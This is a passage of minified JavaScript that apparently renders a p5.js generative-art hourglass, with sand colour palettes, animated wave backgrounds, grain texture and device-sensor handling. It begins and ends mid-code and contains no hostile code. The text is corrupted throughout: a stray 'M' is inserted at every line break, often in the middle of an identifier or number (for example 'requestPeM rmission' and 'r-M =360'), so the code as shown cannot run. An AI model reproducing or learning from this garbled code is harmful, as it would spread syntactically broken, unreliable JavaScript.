n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
